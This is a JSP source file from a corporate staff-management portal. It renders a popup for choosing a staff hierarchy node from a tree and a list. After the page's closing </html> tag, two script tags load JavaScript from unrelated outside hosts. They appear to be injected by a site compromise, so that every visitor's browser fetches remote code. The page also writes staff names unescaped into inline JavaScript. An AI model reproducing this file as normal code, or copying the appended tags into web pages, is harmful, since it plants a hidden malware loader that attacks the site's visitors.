<%
/*
 * @(#)ListStaffRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListStaffRecord.jsp

  This is a ListStaffRecord page.  It shows the staff record in EIP.

    @author             Wong Yam Lee
    @company            DCIVision Ltd
    @creation date      04/08/2003
    @version            $Revision: 1.8.2.14 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/staff" prefix="staff" %>

<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listStaffHierarchyForm" scope="request" class="com.dcivision.staff.web.ListStaffHierarchyForm"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "staffHierarchyList";


  final int MAX_LVL = Integer.parseInt(SystemParameterFactory.getSystemParameter(SystemParameterConstant.STAFF_HIERARCHY_LEVEL));
  int parentID = request.getParameter("parentID") != null ?  Integer.parseInt(request.getParameter("parentID")) : 0;
  int levelNo = request.getParameter("levelNo") != null ?  Integer.parseInt(request.getParameter("levelNo")) : 1;

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"staff.columnheader.name", "NAME"},
                            {"staff.columnheader.phone_no", "PHONE_NO"},
                            {"staff.columnheader.fax_no", "FAX_NO"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };


  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  try {
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }
  
  String selectedID = "";
  List parentHierarchyList = (List)request.getAttribute("parentHierarchyList");
  List hierarchyList = new ArrayList();
  
  for(int i = 0 ; i< MAX_LVL ;i++){
    if(!Utility.isEmpty(parentHierarchyList)){
      if(i < parentHierarchyList.size()){
        hierarchyList.add(parentHierarchyList.get(parentHierarchyList.size() -1 - i));

      }else{
        hierarchyList.add(null);
      }
    }else{
      hierarchyList.add(null);
    }
  }
%>
<html>
<head>
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
  <!-- Common Stylesheet Begin -->
  <link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
  <!-- Common Stylesheet End -->
  <script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script>
  <script language="Javascript" src="<%= request.getContextPath() %>/js/OldTree.jsp" charset="UTF-8" type="text/javascript"></script>

<script language="Javascript">
<!--
function updateStaffSelection(id, name){
  var hiddenField = document.listStaffHierarchyForm.selectedID;
  var displayField = document.listStaffHierarchyForm.destinationHierarchy;

  hiddenField.value = id;
  displayField.value =  name;

  return false;
}


function OptFileSelection(){
  var parent = window.opener;

  if (document.listStaffHierarchyForm.destinationHierarchy.value==''){
    alert("<bean:message key='staff.message.please_selecte_staff_hierarchy'/>");
    return false;
  }
  
  var form = parent.document.maintStaffRecordForm;
  
  form.parentID.value = "<%=parentID%>";
  form.levelNo.value = "<%=levelNo%>";
  form.level1ID.value=null;
  form.level2ID.value=null;
  form.level3ID.value=null;
  form.level4ID.value=null;
  form.level5ID.value=null;
  form.level5ID.value=null;
  form.level6ID.value=null;
  form.level7ID.value=null;
  form.level8ID.value=null;
  form.level9ID.value=null;
  form.level10ID.value=null;
  form.navMode.value="R";
  form.submit();
  window.close();
}

function StaffHierarchyRecordClose() {
  self.close();
  return(false);
}

-->
</script>
</head>
<body  bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<!-- Form Section Begin -->
<html:form action="staff/PopupSelectStaffHierarchyRecord" method="GET" styleClass="form-style-2">

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type="hidden" name="parentID" value="<%=parentID%>">
<input type="hidden" name="levelNo" value="<%=levelNo%>">
<input type="hidden" name="selectedID" value="<%=selectedID%>">

<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<!-- Page Title Section End -->
<layout:popupTitle titleKey ="staff.label.staff_hierarchy"/>
<br>

<table width="100%" cellpadding="15" cellspacing="0" border="0">
<!--tr1 begin-->
<tr><td>

<!-- table tree and listTable begin-->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
  <td class="dtreeContainer" valign="top">
<!-- Hierarchy Tree Begin -->
<div id="treeContainer"  style="border-top:1px solid #bfbfbf;">
<div id="treeFrame" class="dtreeContainer">
<staff:staffTree parentID ="<%=String.valueOf(parentID)%>" action="PopupSelectStaffHierarchyRecord.do" />
</div>
</div>
<!-- Hierarchy Tree End -->
  </td>
  
  <!--TD list begin-->
  <td valign="top"class="listTable" >    
  <div id="listContainer"  style="border-top:1px solid #bfbfbf;" >
  
<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table > 

  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listStaffHierarchyForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listStaffHierarchyForm.getSortAttribute()%>" sortOrder="<%=listStaffHierarchyForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  
  <!-- Record Looping Begin  -->
  <logic:iterate id="staffHierarchy" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)staffHierarchy).getID()%>);updateStaffSelection(<%=((AbstractBaseObject)staffHierarchy).getID()%>,'<%=((StaffHierarchy)staffHierarchy).getName()%>');"  onmouseover="this.style.cursor='hand'">
    <td nowrap><bean:write name='staffHierarchy' property='name'/>
    </td>
    <td><bean:write name='staffHierarchy' property='phoneNo'/></td>
    <td><bean:write name='staffHierarchy' property='faxNo'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='staffHierarchy' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='staffHierarchy' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->    
  
</table>  
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
    <div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;" >
    <layout:pager form="listStaffHierarchyForm" name='<%=LIST_NAME%>'>
      <div class="statement"><layout:pagerInfo/></div>
      <div class="sepBar"><layout:pagerIndex/></div>
    </layout:pager>
    </div>
<!-- Pager Information End -->
	
</div>
</td>
<!--TD list end-->
    <script language="javascript">
    <!--
        var listDivHeight = (<%=listStaffHierarchyForm.getPageOffset()%>+2)*(20+1)+2;
        FindObj("listContainer").style.height = listDivHeight+"px";
        FindObj("treeFrame").style.height = listDivHeight+"px";
        addLoadEvent(function(){SetDivHeight('listContainer', 'treeFrame')});
        findCurrentNodeAndExpandParent(node0);
    -->
    </script>

</tr>
</table>
<!-- table tree and listTable end-->

</td></tr>
<!--tr1 end-->

<tr>
  <td>
    <table cellpadding="1" cellspacing="0" border="0" width="100%">
           <layout:sectionHeader blackLine="false"/>
      </tr>
        <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='staff.label.selected_staff_hierarchy'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall" >

      <input type="text" name="destinationHierarchy" maxlength="255" size="70"  disabled="disabled">
          <script language="javascript">
          <!--   
             if(currentName){//currentName is the selected text in WebFXTree
               document.listStaffHierarchyForm.destinationHierarchy.value = currentName;
             }
           -->
          </script>
        </td>
      </tr>
    </table>	
  </td>
</tr>

</table>

</html:form>
<!-- Form Section End -->

<br>
<div id="bottomButtonArea">
<div id="buttonSection">
    <html:standardButton label="common.label.confirm" onClick="OptFileSelection()"/>
    <html:standardButton label="common.label.close" onClick="return StaffHierarchyRecordClose()"/>
</div>
</div>

</body>
</html>
<%
  } catch (Exception e) {
    out.println(e.toString());
    LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>